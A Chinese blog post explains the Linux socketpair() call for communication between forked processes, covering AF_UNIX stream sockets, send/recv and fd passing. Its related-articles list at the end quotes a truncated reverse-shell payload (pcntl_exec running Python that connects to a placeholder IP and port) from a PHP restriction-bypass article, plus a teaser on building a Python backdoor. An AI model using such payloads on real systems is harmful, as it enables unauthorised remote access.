Linux進程間通信的socketpair()函數

2020-12-14 閒聊代碼

Linux的socketpair()函數,是創建一對互相連接著的socket描述符。

類似TCP連接,兩個文件描述符都可以讀寫,sv[0]寫入的數據在sv[1]讀出,sv[1]寫入的數據在sv[0]讀出。

它的參數與socket()類似,只是多了一個int sv[2]項用於返回這兩個文件描述符,返回值用於提示創建是否成功。

而socket()函數的返回值就是文件描述符,用返回-1提示失敗。

上圖為它的man手冊。

文件描述符,屬於進程的資源之一,與進程的變量、代碼類似,都會在fork()時被父子進程共享。

所以,socketpair()這個函數就被master+worker型的多進程伺服器廣泛用於master和各個worker的通信。

也可以用於子進程間的通信,因為第二個子進程被fork()時一樣要共享父進程的socketpair,只要子進程間規定好誰使用1,誰使用2就行。

文件描述符在內核裡對應著struct file結構,文件讀寫API最終都要處理內核的文件管理結構,文件描述符是這個結構的代號

只要把某個文件的管理結構映射到某幾個進程,他們就可以共享同一個文件了,在程序裡的表現就是他們共享了同一對socketpair。

具體用法見如下三張圖:

1,首先包含頭文件「sys/types.h」和「sys/socket.h」,

2,然後在main()函數裡先創建socketpair,然後再fork()子進程,這樣子進程就共享了父進程的socketpair,

3,根據fork的返回值去判斷出錯、子進程、還是父進程,然後寫不同的執行代碼。

因為是進程間通信,所以使用AF_UNIX域(domain)的socket,類型選擇SOCK_STREAM,類似TCP的可靠連結。

不要選SOCK_DGRAM,類似udp會在傳輸時丟包的。

我們在父進程裡fork了第二個子進程,讓這兩個子進程互相通信,一個使用sv[1]發送,一個使用sv[0]接收。

他們把各自不用的那個sv[i]關掉,只保留用的那個。

發送字符串時帶著結尾的』\0』,6個字符,因為strlen不計算結尾的』\0』,所以發送長度要加1。

這裡發送數據使用了socket的send()和recv()函數,阻塞式調用。

他們也可以配合epoll()機制進行非阻塞式的調用,是nginx伺服器的底層基礎。

運行結果圖:

PS:一個進程也可以在AF_UNIX域的socket上顯式監聽一個字符串表示的文件目錄,等待其他進程去連接它,類似監聽tcp的socket一樣。

AF_UNIX的socketpair還可以把一個進程打開的文件,傳遞給另一個進程,這叫傳遞socket的附加數據,具體用法可以man一下cmsg。在Linux內核裡就是把這個文件的管理結構struct file的指針加到目標進程的文件列表裡。

相關焦點

  • Linux的分離聚合IO函數(scatter/gather)
    系統調用多了也會降低效率,每一次系統調用都會進入內核,除了需要的功能之外還會經過一大堆的檢測(例如是否存在段錯誤),甚至進程切換。在通過Linux的系統調用讀寫數據時,經常面臨的情況是,要麼多一次系統調用,要麼多複製一次數據。
  • Socket網絡編程核心API深入分析(一):bind函數
    注意:本片文章涉及到的內核源碼來自linux內核版本3.6簡單的伺服器與客戶端實現本篇文章的重點在於從底層深入分析bind()函數,相信已經能夠自己實現一個簡單的伺服器和客戶端並進行交互,下面是一個簡單的demo,幫助大家複習一下socket編程api的調用過程。
  • x86架構&linux內核系列(五)番外篇------聊聊Linux crash和寄存器
    一個物理CPU/socket內部,有core部分和uncore部分。 CPU socket的core裡面有寄存器,而CPU socket uncore modules的各個部分也有寄存器。其中,有一些寄存器也有一些特定用法的,例如:Rdi和rsi,常用於 函數外部向函數內部傳參。rax,常用與函數返回值。
  • 深入作業系統,從內核理解網絡包的接收過程(Linux篇)
    內核對更上層的應用層提供socket接口來供用戶進程訪問。我們用Linux的視角來看到的TCP/IP網絡分層模型應該是下面這個樣子的:在Linux的原始碼中,網絡設備驅動對應的邏輯位於driver/net/ethernet。
  • 從串口驅動到Linux驅動模型,想轉Linux的必會!
    並不是linux下的串口驅動。引入此圖旨在讓讀者感性的認識到串口控制臺的功能是什麼。下面正式開始對串口打開。發送。接收函數的分析。這裡向前引用一個函數。就是linux內核中幾種2440晶片通用的串口發送函數s3c24xx_serial_start_tx。
  • vim+py文件構造linux後門
    linux 後門有很多,像bash後門,openssh後門等等,今天,我將帶大家探討一下python後門。python後門,其實就是用python編寫的一個簡單的socket伺服器端。具體實現代碼如下:from socket import * import subprocess import os, threading, sys, time if __name__ == "__main__": server=socket(AF_INET
  • linux多進程
    進程是一個隨執行過程不斷變化的實體,和程序要包含指令和數據一樣,進程也包含程序計數器和所有處理器寄存器的值,同時它的堆棧中存儲著參數、返回地址以及變量之類的臨時數據。在多處理機作業系統中,進程之間除了從屬關係以外相對獨立,如果系統中某個進程崩潰,不會影響到其餘進程,每個進程運行在各自的虛擬地址空間中,通過一定的通信機制,它們之間才能發生聯繫。
  • Linux伺服器編程簡介
    master進程負責監控worker的狀態,不處理具體的請求。本文主要說的是CGI之前的部分,即從Linux API到nginx的http模塊這個範圍的編程特點。1,連接socket,如果是客戶端連接伺服器,可以直接調用connect()。但是,伺服器連接更上遊的伺服器,則要把socket設置為非阻塞Non-block模式,這時的connect()會立即返回,然後要把socket文件描述符加入epoll並且監控寫事件。
  • Node.JS和Socket.io入門
    安裝所有必需的模塊express:npm install express --saveSocket.io: npm install socket.io在server.js中:更換:app.listen(port); 為:var io = require('socket.io').listen(app.listen(port));這使Socket.io可以訪問伺服器
  • linux開發各種I/O操作簡析,以及select、poll、epoll機制的對比
    在linux中,默認情況下所有的socket都是阻塞的,一個典型的讀操作流程大概是這樣:當用戶進程調用了read()/recvfrom() 等系統調用函數,它會進入內核空間中,當這個網絡I/O沒有數據的時候,內核就要等待數據的到來,而在用戶進程這邊,整個進程會被阻塞,直到內核空間返回數據。
  • php中函數禁用繞過的原理與利用
    php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno
  • 一個埠號可以同時被兩個進程綁定嗎?
    埠號的作用 埠號可以用來標識同一個主機上通信的不同應用程式,埠號+IP位址就可以組成一個套接字,用來標識一個進程。 2.埠號的應用場景 在TCP/IP協議中,用「源IP位址」,「目的IP位址」,「源埠號」,「目的埠號」,協議號(IP協議的協議號為4,TCP的協議號為6)這樣的一個五元組來標識一個通信,通信的雙方在發送消息時,消息的頭部會帶著這樣的五元組。 3.
  • Linux作業系統的簡介
    1,進程管理,是對從進程創建fork(),到調度執行schedule(),退出exit(),再到資源回收的wait(),整個進程生命周期的管理。其中涉及到進程的信號、調度、頁表。調度算法,是基於優先級的調度,計算密集型的進程處於低優先級,用戶交互的進程處於高優先級,以提高Linux系統對用戶操作的響應速度。在調度器裡,有一整套算法來根據進程的運行數據計算調度優先級。滑鼠鍵盤操作比較多的進程,肯定要給予高優先級,這是交互進程。
  • Linux內核學習:簡單的字符設備驅動
    init.h>#include <linux/module.h>#include <linux/cdev.h>#include <linux/fs.h>#include <linux/uaccess.h>
  • linux各個目錄代表什麼
    ,當2個進程查看proc時,這將會是不同的連接;主要便於程序得到它自己的進程目錄; /proc/stat:系統的不同狀態信息; /proc/uptime:系統啟動的時間長度; /proc/version:系統核心版本;/sbin:
  • WIFI模塊開發教程之W600網絡篇3:STA模式下TCP Client通信
    前言本文研究如何在STA模式下進行TCP Client通信,STA模式是說模塊直接連接AP(手機熱點或者路由器),進入區域網中和其他無線設備通信,區域網中其他設備作為服務端,WIFI模塊作為客戶端。首先是如文章開始所說的,把模塊起來softAP的API換成連接路由器的API,這個核心功能實現起來還是輕鬆無壓力,1-2分鐘就搞定了,但是替換了API後,總感覺不是一個實際項目該有的操作,於是開始考慮,是不是需要等到模塊連網成功後才創建TCP Client Thread,進行和區域網下伺服器的通信,細想來,的確需要,於是開始搜索API,有沒有檢測到系統網絡狀態的函數